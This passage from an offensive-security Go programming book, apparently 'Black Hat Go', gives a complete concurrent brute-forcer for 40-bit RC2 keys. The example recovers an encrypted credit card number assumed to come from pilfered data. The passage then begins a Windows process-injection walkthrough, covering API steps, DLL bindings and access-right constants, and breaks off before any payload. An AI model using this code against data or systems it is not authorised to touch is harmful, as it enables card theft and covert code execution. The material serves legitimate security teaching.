mon name of the connecting client, extracted from the certificate:
$ go run main.go
Hello: client.blackhat-go.local
You now have a functional sample of mutual authentication. To further
enhance your understanding, we encourage you to tweak the previous
examples so they work over TCP sockets.
In the next section, you’ll dedicate your efforts to a more devious pur-
pose: brute-forcing RC2 encryption cipher symmetric keys.
Brute-Forcing RC2
RC2 is a symmetric-key block cipher created by Ron Rivest in 1987. Prompted
by recommendations from the government, the designers used a 40-bit
encryption key, which made the cipher weak enough that the US govern-
ment could brute-force the key and decrypt communications. It provided
ample confidentiality for most communications but allowed the government
to peep into chatter with foreign entities, for example. Of course, back in
the 1980s, brute-forcing the key required significant computing power, and
only well-funded nation states or specialty organizations had the means to
decrypt it in a reasonable amount of time. Fast-forward 30 years; today, the
common home computer can brute-force a 40-bit key in a few days or weeks.
So, what the heck, let’s brute force a 40-bit key.
Getting Started
Before we dive into the code, let’s set the stage. First of all, neither the stan-
dard nor extended Go crypto libraries have an RC2 package intended for
public consumption. However, there’s an internal Go package for it. You
can’t import internal packages directly in external programs, so you’ll have
to find another way to use it.
前沿信安资讯阵地 公众号:i nf osrc
Implementing and Attacking Cryptography 253
Second, to keep things simple, you’ll make some assumptions about the
data that you normally wouldn’t want to make. Specifically, you’ll assume
that the length of your cleartext data is a multiple of the RC2 block size
(8 bytes) to avoid clouding your logic with administrative tasks like han-
dling PKCS #5 padding. Handling the padding is similar to what you did
with AES previously in this chapter (see Listing 11-4), but you’d need to
be more diligent in validating the contents to maintain the integrity of the
data you’ll be working with. You’ll also assume that your ciphertext is an
encrypted credit card number. You’ll check the potential keys by validating
the resulting plaintext data. In this case, validating the data involves mak-
ing sure the text is numeric and then subjecting it to a Luhn check, which is a
method of validating credit card numbers and other sensitive data.
Next, you’ll assume you were able to determine—perhaps from pilfer-
ing filesystem data or source code—that the data is encrypted using a 40-bit
key in ECB mode with no initialization vector. RC2 supports variable-length
keys and, since it’s a block cipher, can operate in different modes. In ECB
mode, which is the simplest mode, blocks of data are encrypted indepen-
dently of other blocks. This will make your logic a little more straightforward.
Lastly, although you can crack the key in a nonconcurrent implementation,
if you so choose, a concurrent implementation will be far better perform-
ing. Rather than building this thing iteratively, showing first a noncon-
current version followed by a concurrent one, we’ll go straight for the
concurrent build.
Now you’ll install a couple of prerequisites. First, retrieve the official
RC2 Go implementation from https://github.com/golang/crypto/blob/master
/pkcs12/internal/rc2/rc2.go. You’ll need to install this in your local workspace
so that you can import it into your brute-forcer. As we mentioned earlier,
the package is an internal package, meaning that, by default, outside pack-
ages can’t import and use it. This is a little hacky, but it’ll prevent you from
having to use a third-party implementation or—shudder—writing your own
RC2 cipher code. If you copy it into your workspace, the non-exported func-
tions and types become part of your development package, which makes
them accessible.
Let’s also install a package that you’ll use to perform the Luhn check:
$ go get github.com/joeljunstrom/go-luhn
A Luhn check calculates checksums on credit card numbers or other
identification data to determine whether they’re valid. You’ll use the exist-
ing package for this. It’s well-documented and it’ll save you from re-creating
the wheel.
Now you can write your code. You’ll need to iterate through every
combination of the entire key space (40-bits), decrypting your ciphertext
with each key, and then validating your result by making sure it both
consists of only numeric characters and passes a Luhn check. You’ll use
a producer/consumer model to manage the work—the producer will push
a key to a channel and the consumers will read the key from the channel
and execute accordingly. The work itself will be a single key value. When you
前沿信安资讯阵地 公众号:i nf osrc
254 Chapter 11
find a key that produces properly validated plaintext (indicating you found a
credit card number), you’ll signal each of the goroutines to stop their work.
One of the interesting challenges of this problem is how to iterate the
key space. In our solution, you iterate it using a for loop, traversing the key
space represented as uint64 values. The challenge, as you’ll see, is that uint64
occupies 64 bits of space in memory. So, converting from a uint64 to a 40-bit
(5-byte) []byte RC2 key requires that you crop off 24 bits (3 bytes) of unnec-
essary data. Hopefully, this process becomes clear once you’ve looked at the
code. We’ll take it slow, breaking down sections of the program and work-
ing through them one by one. Listing 11-8 begins the program.
import (
"crypto/cipher"
"encoding/binary"
"encoding/hex"
"fmt"
"log"
"regexp"
"sync"
u luhn "github.com/joeljunstrom/go-luhn"
v "github.com/bhg/ch-11/rc2-brute/rc2"
)
w var numeric = regexp.MustCompile(`^\d{8}$`)
x type CryptoData struct {
block cipher.Block
key []byte
}
Listing 11-8: Importing the RC2 brute-force type (/ch-11 /rc2-brute/main.go)
We’ve included the import statements here to draw attention to the
inclusion of the third-party go-luhn package u, as well as the inclusion of
the rc2 package v you cloned from the internal Go repository. You also
compile a regular expression w that you’ll use to check whether the result-
ing plaintext block is 8 bytes of numeric data.
Note that you’re checking 8 bytes of data and not 16 bytes, which is the
length of your credit card number. You’re checking 8 bytes because that’s
the length of an RC2 block. You’ll be decrypting your ciphertext block
by block, so you can check the first block you decrypt to see whether it’s
numeric. If the 8 bytes of the block aren’t all numeric, you can confidently
assume that you aren’t dealing with a credit card number and can skip the
decryption of the second block of ciphertext altogether. This minor perfor-
mance improvement will significantly reduce the time it takes to execute
millions of times over.
前沿信安资讯阵地 公众号:i nf osrc
Implementing and Attacking Cryptography 255
Lastly, you define a type named CryptoData x that you’ll use to store
your key and a cipher.Block. You’ll use this struct to define units of work,
which producers will create and consumers will act upon.
Producing Work
Let’s look at the producer function (Listing 11-9). You place this function
after your type definitions in the previous code listing.
u func generate(start, stop uint64, out chan <- *CryptoData,\
done <- chan struct{}, wg *sync.WaitGroup) {
v wg.Add(1)
w go func() {
x defer wg.Done()
var (
block cipher.Block
err error
key []byte
data *CryptoData
)
y for i := start; i <= stop; i++ {
key = make([]byte, 8)
z select {
{ case <- done:
return
| default:
} binary.BigEndian.PutUint64(key, i)
if block, err = rc2.New(key[3:], 40); err != nil {
log.Fatalln(err)
}
data = &CryptoData{
block: block,
key: key[3:],
}
~ out <- data
}
}
}()
return
}
Listing 11-9: The RC2 producer function (/ch-11 /rc2-brute /main.go)
Your producer function is named generate() u. It accepts two uint64 vari-
ables used to define a segment of the key space on which the producer will
create work (basically, the range over which they’ll produce keys). This allows
you to break up the key space, distributing portions of it to each producer.
The function also accepts two channels: a *CryptData write-only chan-
nel used for pushing work to consumers and a generic struct channel
that’ll be used for receiving signals from consumers. This second channel
前沿信安资讯阵地 公众号:i nf osrc
256 Chapter 11
is necessary so that, for example, a consumer that identifies the correct
key can explicitly signal the producer to stop producing. No sense creat-
ing more work if you’ve already solved the problem. Lastly, your function
accepts a WaitGroup to be used for tracking and synchronizing producer
execution. For each concurrent producer that runs, you execute wg.Add(1) v
to tell the WaitGroup that you started a new producer.
You populate your work channel within a goroutine w, including a call
to defer wg.Done() x to notify your WaitGroup when the goroutine exits. This
will prevent deadlocks later as you try to continue execution from your
main() function. You use your start() and stop() values to iterate a subsec-
tion of the key space by using a for loop y. Every iteration of the loop incre-
ments the i variable until you’ve reached your ending offset.
As we mentioned previously, your key space is 40 bits, but i is 64 bits.
This size difference is crucial to understand. You don’t have a native Go
type that is 40 bits. You have only 32- or 64-bit types. Since 32 bits is too
small to hold a 40-bit value, you need to use your 64-bit type instead, and
account for the extra 24 bits later. Perhaps you could avoid this whole chal-
lenge if you could iterate the entire key space by using a []byte instead
of a uint64. But doing so would likely require some funky bitwise opera-
tions that may overcomplicate the example. So, you’ll deal with the length
nuance instead.
Within your loop, you include a select statement z that may look silly
at first, because it’s operating on channel data and doesn’t fit the typical
syntax. You use it to check whether your done channel has been closed via
case <- done {. If the channel is closed, you issue a return statement to
break out of your goroutine. When the done channel isn’t closed, you use
the default case | to create the crypto instances necessary to define work.
Specifically, you call binary.BigEndian.PutUint64(key, i) } to write your uint64
value (the current key) to a []byte named key.
Although we didn’t explicitly call it out earlier, you initialized key as an
8-byte slice. So why are you defining the slice as 8 bytes when you’re dealing
with only a 5-byte key? Well, since binary.BigEndian.PutUint64 takes a uint64
value, it requires a destination slice of 8 bytes in length or else it throws an
index-out-of-range error. It can’t fit an 8-byte value into a 5-byte slice. So, you
give it an 8-byte slice. Notice throughout the remainder of the code, you use
only the last 5 bytes of the key slice; even though the first 3 bytes will be zero,
they will still corrupt the austerity of our crypto functions if included. This is
why you call rc2.New(key[3:], 40) to create your cipher initially; doing so drops
the 3 irrelevant bytes and also passes in the length, in bits, of your key: 40.
You use the resulting cipher.Block instance and the relevant key bytes to
create a CryptoData object, and you write it to the out worker channel ~.
That’s it for the producer code. Notice that in this section you’re only
bootstrapping the relevant key data needed. Nowhere in the function are
you actually attempting to decrypt the ciphertext. You’ll perform this work
in your consumer function.
前沿信安资讯阵地 公众号:i nf osrc
Implementing and Attacking Cryptography 257
Performing Work and Decrypting Data
Let’s review the consumer function now (Listing 11-10). Again, you’ll add
this function to the same file as your previous code.
u func decrypt(ciphertext []byte, in <- chan *CryptoData, \
done chan struct{}, wg *sync.WaitGroup) {
size := rc2.BlockSize
plaintext := make([]byte, len(ciphertext))
v wg.Add(1)
go func() {
w defer wg.Done()
x for data := range in {
select {
y case <- done:
return
z default:
{ data.block.Decrypt(plaintext[:size], ciphertext[:size])
| if numeric.Match(plaintext[:size]) {
} data.block.Decrypt(plaintext[size:], ciphertext[size:])
~ if luhn.Valid(string(plaintext)) && \
numeric.Match(plaintext[size:]) {
fmt.Printf("Card [%s] found using key [%x]\n", /
plaintext, data.key)
close(done)
return
}
}
}
}
}()
}
Listing 11-10: The RC2 consumer function (/ch-11 /rc2-brute/main.go)
Your consumer function, named decrypt() u, accepts several param-
eters. It receives the ciphertext you wish to decrypt. It also accepts two
separate channels: a read-only *CryptoData channel named in that you’ll use
as a work queue and a channel named done that you’ll use for sending and
receiving explicit cancellation signals. Lastly, it also accepts a *sync .WaitGroup
named wg that you’ll use for managing your consumer workers, much like
your producer implementation. You tell your WaitGroup that you’re starting a
worker by calling wg.Add(1) v. This way, you’ll be able to track and manage
all the consumers that are running.
Next, inside your goroutine, you call defer wg.Done() w so that when
the goroutine function ends, you’ll update the WaitGroup state, reducing the
number of running workers by one. This WaitGroup business is necessary for
you to synchronize the execution of your program across an arbitrary num-
ber of workers. You’ll use the WaitGroup in your main() function later to wait
for your goroutines to complete.
前沿信安资讯阵地 公众号:i nf osrc
258 Chapter 11
The consumer uses a for loop x to repeatedly read CryptoData work
structs from the in channel. The loop stops when the channel is closed.
Recall that the producer populates this channel. As you’ll see shortly, this
channel closes after the producers have iterated their entire key space
subsections and pushed the relative crypto data onto the work channel.
Therefore, your consumer loops until the producers are done producing.
As you did in the producer code, you use a select statement within the
for loop to check whether the done channel has been closed y, and if it has,
you explicitly signal the consumer to stop additional work efforts. A worker
will close the channel when a valid credit card number has been identified,
as we’ll discuss in a moment. Your default case z performs the crypto heavy
lifting. First, it decrypts the first block (8 bytes) of ciphertext {, checking
whether the resulting plaintext is an 8-byte, numeric value |. If it is, you
have a potential card number and proceed to decrypt the second block of
ciphertext }. You call these decryption functions by accessing the cipher
.Block field within your CryptoData work object that you read in from the
channel. Recall that the producer instantiated the struct by using a unique
key value taken from the key space.
Lastly, you validate the entirety of the plaintext against the Luhn algo-
rithm and validate that the second block of plaintext is an 8-byte, numeric
value ~. If these checks succeed, you can be reasonably sure that you found
a valid credit card number. You display the card number and the key to
stdout and call close(done) to signal the other goroutines that you’ve found
what you’re after.
Writing the Main Function
By this point, you have your producer and consumer functions, both
equipped to execute with concurrency. Now, let’s tie it all together in your
main() function (Listing 11-11), which will appear in the same source file as
the previous listings.
func main() {
var (
err error
ciphertext []byte
)
if ciphertext, err = hex.DecodeString("0986f2cc1ebdc5c2e25d04a136fa1a6b"); err != nil { u
log.Fatalln(err)
}
var prodWg, consWg sync.WaitGroup v
var min, max, prods = uint64(0x0000000000), uint64(0xffffffffff), uint64(75)
var step = (max - min) / prods
done := make(chan struct{})
work := make(chan *CryptoData, 100)
if (step * prods) < max { w
step += prods
}
前沿信安资讯阵地 公众号:i nf osrc
Implementing and Attacking Cryptography 259
var start, end = min, min + step
log.Println("Starting producers...")
for i := uint64(0); i < prods; i++ { x
if end > max {
end = max
}
generate(start, end, work, done, &prodWg) y
end += step
start += step
}
log.Println("Producers started!")
log.Println("Starting consumers...")
for i := 0; i < 30; i++ { z
decrypt(ciphertext, work, done, &consWg) {
}
log.Println("Consumers started!")
log.Println("Now we wait...")
prodWg.Wait()|
close(work)
consWg.Wait()}
log.Println("Brute-force complete")
}
Listing 11-11: The RC2 main() function (/ch-11/rc2-brute/main.go)
Your main() function decodes your ciphertext, represented as a hexa-
decimal string u. Next, you create several variables v. First you create
WaitGroup variables used for tracking both producer and consumer gorou-
tines. You also define several uint64 values for tracking the minimum value
in a 40-bit key space (0x0000000000), the maximum value in the key space
(0xffffffffff), and the number of producers you intend to start, in this
case 75. You use these values to calculate a step or range, which represents
the number of keys each producer will iterate, since your intent is to dis-
tribute these efforts uniformly across all your producers. You also create
a *CryptoData work channel and a done signaling channel. You’ll pass these
around to your producer and consumer functions.
Since you’re doing basic integer math to calculate your step value for
the producers, there’s a chance that you’ll lose some data if the key space
size isn’t a multiple of the number of producers you’ll spin up. To account
for this—and to avoid losing precision while converting to a floating-point
number for use in a call to math.Ceil()—you check whether the maximum
key (step * prods) is less than your maximum value for the entire key
space (0xffffffffff) w. If it is, a handful of values in the key space won’t be
accounted for. You simply increase your step value to account for this short-
age. You initialize two variables, start and end, to maintain the beginning
and ending offsets you can use to break apart the key space.
The math to arrive at your offsets and step size isn’t precise by any
means, and it could cause your code to search beyond the end of the maxi-
mum allowable key space. However, you fix that within a for loop x used to
start each of the producers. In the loop, you adjust your ending step value,
end, should that value fall beyond the maximum allowed key space value.
前沿信安资讯阵地 公众号:i nf osrc
260 Chapter 11
Each iteration of the loop calls generate() y, your producer function, and
passes to it the start (start) and end (end) key space offsets for which the
producer will iterate. You also pass it your work and done channels, as well as
your producer WaitGroup. After calling the function, you shift your start and
end variables to account for the next range of key space that will be passed
to a new producer. This is how you break up your key space into smaller,
more digestible portions that the program can process concurrently, with-
out overlapping efforts between goroutines.
After your producers are spun up, you use a for loop to create your work-
ers z. In this case, you’re creating 30 of them. For each iteration, you call
your decrypt() function {, passing to it the ciphertext, the work channel, the
done channel, and the consumer WaitGroup. This spins up your concurrent
consumers, which begin to pull and process work as the producers create it.
Iterating through the entire key space takes time. If you don’t handle
things correctly, the main() function will assuredly exit before you discover
a key or exhaust key space. So, you need to make sure the producers and
consumers have adequate time to either iterate the entire key space or
discover the correct key. This is where your WaitGroups come in. You call
prodWg.Wait() | to block main() until the producers have completed their
tasks. Recall that the producers have completed their tasks if they either
exhaust the key space or explicitly cancel the process via the done channel.
After this completes, you explicitly close the work channel so the consumers
won’t deadlock continually while trying to read from it. Finally, you block
main() again by calling consWg.Wait() } to give adequate time for the consum-
ers in your WaitGroup to complete any remaining work in the work channel.
Running the Program
You’ve completed your program! If you run it, you should see the following
output:
$ go run main.go
2020/07/12 14:27:47 Starting producers...
2020/07/12 14:27:47 Producers started!
2020/07/12 14:27:47 Starting consumers...
2020/07/12 14:27:47 Consumers started!
2020/07/12 14:27:47 Now we wait...
2020/07/12 14:27:48 Card [4532651325506680] found using key [e612d0bbb6]
2020/07/12 14:27:48 Brute-force complete
The program starts the producers and consumers and then waits for
them to execute. When a card is found, the program displays the cleartext
card and the key used to decrypt that card. Since we assume this key is the
magical key for all cards, we interrupt execution prematurely and celebrate
our success by painting a self-portrait (not shown).
Of course, depending on the key value, brute-forcing on a home com-
puter can take a significant amount of time—think days or even weeks. For
the preceding sample run, we narrowed the key space to find the key more
前沿信安资讯阵地 公众号:i nf osrc
Implementing and Attacking Cryptography 261
quickly. However, completely exhausting the key space on a 2016 MacBook
Pro takes approximately seven days. Not too bad for a quick-and-dirty solu-
tion running on a laptop.
Summary
Crypto is an important topic for security practitioners, even though the
learning curve can be steep. This chapter covered symmetric and asym-
metric crypto, hashing, password handling with bcrypt, message authenti-
cation, mutual authentication, and brute-forcing RC2. In the next chapter,
we’ll get into the nitty-gritty of attacking Microsoft Windows.
前沿信安资讯阵地 公众号:i nf osrc
前沿信安资讯阵地 公众号:i nf osrc
12
W IN DOW S S Y S T E M IN T E R AC T ION
A N D A N A LY SI S
There are countless ways of developing
Microsoft Windows attacks—too many to
cover in this chapter. Instead of discussing
them all, we’ll introduce and investigate a few
techniques that can help you attack Windows, whether
initially or during your post-exploitation adventures.
After discussing the Microsoft API documentation and some safety
concerns, we’ll cover three topics. First, we’ll use Go’s core syscall package
to interact with various system-level Windows APIs by performing a process
injection. Second, we’ll explore Go’s core package for the Windows Portable
Executable (PE) format and write a PE file format parser. Third, we’ll dis-
cuss techniques for using C code with native Go code. You’ll need to know
these applied techniques in order to build a novel Windows attack.
The Windows API’s OpenProcess() Function
In order to attack Windows, you need to understand the Windows API. Let’s
explore the Windows API documentation by examining the OpenProcess()
前沿信安资讯阵地 公众号:i nf osrc
264 Chapter 12
function, used to obtain a handle on a remote process. You can find the
OpenProcess() documentation at https://docs.microsoft.com/en-us/windows
/desktop/api/processthreadsapi/nf-processthreadsapi-openprocess/. Figure 12-1
shows the function’s object property details.
Figure 12-1: The Windows API object structure for OpenProcess()
In this particular instance, we can see that the object looks very similar
to a struct type in Go. However, the C++ struct field types don’t necessarily
reconcile with Go types, and Microsoft data types don’t always match Go
data types.
The Windows data type definition reference, located at https://docs.microsoft
.com/en-us/windows/desktop/WinProg/windows-data-types/, can be helpful when
reconciling a Windows data type with Go’s respective data type. Table 12-1
covers the type conversion we’ll use in the process injection examples later
in this chapter.
Table 12-1: Mapping Windows Data Types to Go Data Types
Windows data Type
Go data type
BOOLEAN
byte
BOOL
int32
BYTE
byte
DWORD
uint32
DWORD32
uint32
DWORD64
uint64
WORD
uint16
HANDLE
uintptr (unsigned integer pointer)
LPVOID
uintptr
SIZE_T
uintptr
LPCVOID
uintptr
HMODULE
uintptr
LPCSTR
uintptr
LPDWORD
uintptr
前沿信安资讯阵地 公众号:i nf osrc
Windows System Interaction and Analysis 265
The Go documentation defines the uintptr data type as “an integer type
that is large enough to hold the bit pattern of any pointer.” This is a special
data type, as you’ll see when we discuss Go’s unsafe package and type con-
versions later in “The unsafe.Pointer and uintptr Types” on page 266. For
now, let’s finish walking through the Windows API documentation.
Next, you should look at an object’s parameters; the Parameters section
of the documentation provides details. For example, the first parameter,
dwDesiredAccess, provides specifics regarding the level of access the process
handle should possess. After that, the Return Value section defines expected
values for both a successful and failed system call (Figure 12-2).
Figure 12-2: The definition for the expected return value
We’ll take advantage of a GetLastError error message when using the syscall
package in our upcoming example code, although this will deviate from the
standard error handling (such as if err != nil syntax) ever so slightly.
Our last section of the Windows API document, Requirements, pro-
vides important details, as shown in Figure 12-3. The last line defines the
dynamic link library (DLL), which contains exportable functions (such as
OpenProcess()) and will be necessary when we build out our Windows DLL
module’s variable declarations. Said another way, we cannot call the rel-
evant Windows API function from Go without knowing the appropriate
Windows DLL module. This will become clearer as we progress into our
upcoming process injection example.
Figure 12-3: The Requirements section defines the library required to call the API.
前沿信安资讯阵地 公众号:i nf osrc
266 Chapter 12
The unsafe.Pointer and uintptr Types
In dealing with the Go syscall package, we’ll most certainly need to step
around Go’s type-safety protections. The reason is that we’ll need, for
example, to establish shared memory structures and perform type conver-
sions between Go and C. This section provides the groundwork you need
in order to manipulate memory, but you should also explore Go’s official
documentation further.
We’ll bypass Go’s safety precautions by using Go’s unsafe package (men-
tioned in Chapter 9), which contains operations that step around the type
safety of Go programs. Go has laid out four fundamental guidelines to
help us out:
•
A pointer value of any type can be converted to an unsafe.Pointer.
•
An unsafe.Pointer can be converted to a pointer value of any type.
•
A uintptr can be converted to an unsafe.Pointer.
•
An unsafe.Pointer can be converted to a uintptr.
W A R N I N G
Keep in mind that packages that import the unsafe package may not be portable, and
that although Go typically ensures Go version 1 compatibility, using the unsafe pack-
age breaks all guarantees of this.
The uintptr type allows you to perform type conversion or arithmetic
between native safe types, among other uses. Although uintptr is an integer
type, it’s used extensively to represent a memory address. When used with
type-safe pointers, Go’s native garbage collector will maintain relevant ref-
erences at runtime.
However, the situation changes when unsafe.Pointer is introduced. Recall
that uintptr is essentially just an unsigned integer. If a pointer value is created
using unsafe.Pointer and then assigned to uintptr, there’s no guarantee that
Go’s garbage collector will maintain the integrity of the referenced memory
location’s value. Figure 12-4 helps to further describe the issue.
Go safe pointer
Go unsafe pointer
Memory
0x945000
Memory
reclaimed
0x945000
unintptr
unintptr
0x945000
Figure 12-4: A potentially dangerous pointer
when using uintptr and unsafe.Pointer
前沿信安资讯阵地 公众号:i nf osrc
Windows System Interaction and Analysis 267
The top half of the image depicts uintptr with a reference value to a Go
type-safe pointer. As such, it will maintain its reference at runtime, along
with austere garbage collection. The lower half of the image demonstrates
that uintptr, although it references an unsafe.Pointer type, can be garbage
collected, considering Go doesn’t preserve nor manage pointers to arbitrary
data types. Listing 12-1 represents the issue.
func state() {
var onload = createEvents("onload") u
var receive = createEvents("receive") v
var success = createEvents("success") w
mapEvents := make(map[string]interface{})
mapEvents["messageOnload"] = unsafe.Pointer(onload)
mapEvents["messageReceive"] = unsafe.Pointer(receive) x
mapEvents["messageSuccess"] = uintptr(unsafe.Pointer(success)) y
//This line is safe – retains orginal value
fmt.Println(*(*string)(mapEvents["messageReceive"].(unsafe.Pointer))) z
//This line is unsafe – original value could be garbage collected
fmt.Println(*(*string)(unsafe.Pointer(mapEvents["messageSuccess"].(uintptr)))) {
}
func createEvents(s string)| *string {
return &s
}
Listing 12-1: Using uintptr both securely and insecurely with unsafe.Pointer
This code listing could be someone’s attempt at creating a state machine,
for example. It has three variables, assigned their respective pointer values of
onload u, receive v, and success w by calling the createEvents() | function.
We then create a map containing a key of type string along with a value
of type interface{}. We use the interface{} type because it can receive dis-
parate data types. In this case, we’ll use it to receive both unsafe.Pointer x
and uintptr y values.
At this point, you most likely have spotted the dangerous pieces of
code. Although the mapEvents["messageRecieve"] map entry x is of type
unsafe.Pointer, it still maintains its original reference to the receive v vari-
able and will provide the same consistent output z as it did originally.
Contrarily, the mapEvents["messageSuccess"] map entry y is of type uintptr.
This means that as soon as the unsafe.Pointer value referencing the success
variable is assigned to a uintptr type, the success variable w is free to be
garbage collected. Again, uintptr is just a type holding a literal integer of
a memory address, not a reference to a pointer. As a result, there’s no guar-
antee that the expected output { will be produced, as the value may no
longer be present.
Is there a safe way to use uintptr with unsafe.Pointer? We can do so
by taking advantage of runtime.Keepalive, which can prevent the garbage
前沿信安资讯阵地 公众号:i nf osrc
268 Chapter 12
collection of a variable. Let’s take a look at this by modifying our prior code
block (Listing 12-2).
func state() {
var onload = createEvents("onload")
var receive = createEvents("receive")
var successu = createEvents("success")
mapEvents := make(map[string]interface{})
mapEvents["messageOnload"] = unsafe.Pointer(onload)
mapEvents["messageReceive"] = unsafe.Pointer(receive)
mapEvents["messageSuccess"] = uintptr(unsafe.Pointer(success))v
//This line is safe – retains orginal value
fmt.Println(*(*string)(mapEvents["messageReceive"].(unsafe.Pointer)))
//This line is unsafe – original value could be garbage collected
fmt.Println(*(*string)(unsafe.Pointer(mapEvents["messageSuccess"].(uintptr))))
runtime.KeepAlive(success) w
}
func createEvents(s string) *string {
return &s
}
Listing 12-2: Using the runtime.KeepAlive() function to prevent garbage collection of a variable
Seriously, we’ve added only one small line of code w! This line, runtime
.KeepAlive(success), tells the Go runtime to ensure that the success variable
remains accessible until it’s explicitly released or the run state ends. This
means that although the success variable u is stored as uintptr v, it can’t be
garbage collected because of the explicit runtime.KeepAlive() directive.
Be aware that the Go syscall package extensively uses uintptr(unsafe
.Pointer()) throughout, and although certain functions, like syscall9(),
have type safety through exception, not all the functions employ this.
Further, as you hack about your own project code, you’ll almost certainly
run into situations that warrant manipulating heap or stack memory in
an unsafe manner.
Performing Process Injection with the syscall Package
Often, we need to inject our own code into a process. This may be because we
want to gain remote command line access to a system (shell), or even debug a
runtime application when the source code isn’t available. Understanding the
mechanics of process injection will also help you perform more interesting
tasks, such as loading memory-resident malware or hooking functions. Either
way, this section demonstrates how to use Go to interact with the Microsoft
Windows APIs in order to perform process injection. We’ll inject a payload
stored on a disk into existing process memory. Figure 12-5 describes the over-
all chain of events.
前沿信安资讯阵地 公众号:i nf osrc
Windows System Interaction and Analysis 269
Origin process
Victim process
Attach to the victim
process:
OpenProcess()
Allocate memory on
the victim process:
VirtualAllocEx()
Write payload to victim
process memory:
WriteProcessMemory()
Execute the payload on
the victim process:
CreateRemoteThread()
Memory cave
Payload location
Executed payload
Process handle
1
2
3
4
Figure 12-5: Basic process injection
In step 1, we use the OpenProcess() Windows function to establish a pro-
cess handle, along with the desired process access rights. This is a require-
ment for process-level interaction, whether we’re dealing with a local or
remote process.
Once the requisite process handle has been obtained, we use it in step 2,
along with the VirtualAllocEx() Windows function, to allocate virtual memory
within the remote process. This is a requirement for loading byte-level code,
such as shellcode or a DLL, into the remote processes’ memory.
In step 3, we load byte-level code into memory by using the WriteProcess
Memory() Windows function. At this point in the injection process, we, as
attackers, get to decide how creative to be with our shellcode or DLL. This
is also the place where you might need to inject debugging code when
attempting to understand a running program.
Finally, in step 4, we use the CreateRemoteThread() Windows function
as a means to call a native exported Windows DLL function, such as Load
LibraryA(), located in Kernel32.dll, so that we can execute the code previ-
ously placed within the process by using WriteProcessMemory().
The four steps we just described provide a fundamental process injec-
tion example. We’ll define a few additional files and functions within our
overall process injection example that aren’t necessarily described here,
although we’ll describe them in detail as we encounter them.
前沿信安资讯阵地 公众号:i nf osrc
270 Chapter 12
Defining the Windows DLLs and Assigning Variables
The first step is to create the winmods file in Listing 12-3. (All the code list-
ings at the root location of / exist under the provided github repo https://
github.com/blackhat-go/bhg/.) This file defines the native Windows DLL,
which maintains exported system-level APIs, that we’ll call by using the Go
syscall package. The winmods file contains declara tions and assignments
of more Windows DLL module references than required for our sample
project, but we’ll document them so that you can leverage those in more
advanced injection code.
import "syscall"
var (
u ModKernel32 = syscall.NewLazyDLL("kernel32.dll")
modUser32 = syscall.NewLazyDLL("user32.dll")
modAdvapi32 = syscall.NewLazyDLL("Advapi32.dll")
ProcOpenProcessToken = modAdvapi32.NewProc("GetProcessToken")
ProcLookupPrivilegeValueW = modAdvapi32.NewProc("LookupPrivilegeValueW")
ProcLookupPrivilegeNameW = modAdvapi32.NewProc("LookupPrivilegeNameW")
ProcAdjustTokenPrivileges = modAdvapi32.NewProc("AdjustTokenPrivileges")
ProcGetAsyncKeyState = modUser32.NewProc("GetAsyncKeyState")
ProcVirtualAlloc = ModKernel32.NewProc("VirtualAlloc")
ProcCreateThread = ModKernel32.NewProc("CreateThread")
ProcWaitForSingleObject = ModKernel32.NewProc("WaitForSingleObject")
ProcVirtualAllocEx = ModKernel32.NewProc("VirtualAllocEx")
ProcVirtualFreeEx = ModKernel32.NewProc("VirtualFreeEx")
ProcCreateRemoteThread = ModKernel32.NewProc("CreateRemoteThread")
ProcGetLastError = ModKernel32.NewProc("GetLastError")
ProcWriteProcessMemory = ModKernel32.NewProc("WriteProcessMemory")
v ProcOpenProcess = ModKernel32.NewProc("OpenProcess")
ProcGetCurrentProcess = ModKernel32.NewProc("GetCurrentProcess")
ProcIsDebuggerPresent = ModKernel32.NewProc("IsDebuggerPresent")
ProcGetProcAddress = ModKernel32.NewProc("GetProcAddress")
ProcCloseHandle = ModKernel32.NewProc("CloseHandle")
ProcGetExitCodeThread = ModKernel32.NewProc("GetExitCodeThread")
)
Listing 12-3: The winmods file (/ch-12/procInjector /winsys/winmods.go)
We use the NewLazyDLL() method to load the Kernel32 DLL u. Kernel32
manages much of the internal Windows process functionality, such as
addressing, handling, memory allocation, and more. (It’s worth noting
that, as of Go version 1.12.2, you can use a couple of new functions to better
load DLLs and prevent system DLL hijacking attacks: LoadLibraryEx() and
NewLazySystemDLL().)
Before we can interact with the DLL, we must establish a variable that
we can use in our code. We do this by calling module.NewProc for each API
that we’ll need to use. At v, we call it against OpenProcess() and assign it
to an exported variable called ProcOpenProcess. The use of OpenProcess() is
前沿信安资讯阵地 公众号:i nf osrc
Windows System Interaction and Analysis 271
arbitrary; it’s intended to demonstrate the technique for assigning any
exported Windows DLL function to a descriptive variable name.
Obtaining a Process Token with the OpenProcess Windows API
Next, we build out the OpenProcessHandle() function, which we’ll use to
obtain a process handle token. We will likely use the terms token and handle
interchangeably throughout the code, but realize that every process within
a Windows system has a unique process token. This provides a means to
enforce relevant security models, such as Mandatory Integrity Control, a com-
plex security model (and one that is worth investigating in order to get more
acquainted with process-level mechanics). The security models consist of
such items as process-level rights and privileges, for example, and dictate
how both unprivileged and elevated processes can interact with one another.
First, let’s take a look at the C++ OpenProcess() data structure as defined
within the Window API documentation (Listing 12-4). We’ll define this
object as if we intended to call it from native Windows C++ code. However,
we won’t be doing this, because we’ll be defining this object to be used with
Go’s syscall package. Therefore, we’ll need to translate this object to stan-
dard Go data types.
HANDLE OpenProcess(
DWORDu dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);
Listing 12-4: An arbitrary Windows C++ object and data types
The first necessary task is to translate DWORD u to a usable type that Go
maintains. A DWORD is defined by Microsoft as a 32-bit unsigned integer,
which corresponds to Go’s uint32 type. The DWORD value states that it must
contain dwDesiredAccess or, as the documentation states, “one or more of
the process access rights.” Process access rights define the actions we wish
to take upon a process, given a valid process token.
We want to declare a variety of process access rights. Since these values
won’t change, we place such relevant values in a Go constants file, as shown
in Listing 12-5. Each line in this list defines a process access right. The list
contains almost every available process access right, but we will use only the
ones necessary for obtaining a process handle.
const (
// docs.microsoft.com/en-us/windows/desktop/ProcThread/process-security-and-access-rights
PROCESS_CREATE_PROCESS = 0x0080
PROCESS_CREATE_THREAD = 0x0002
PROCESS_DUP_HANDLE = 0x0040
PROCESS_QUERY_INFORMATION = 0x0400
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
PROCESS_SET_INFORMATION = 0x0200
PROCESS_SET_QUOTA = 0x0100
PROCESS_SUSPEND_RESUME = 0x0800
前沿信安资讯阵地 公众号:i nf osrc
272 Chapter 12
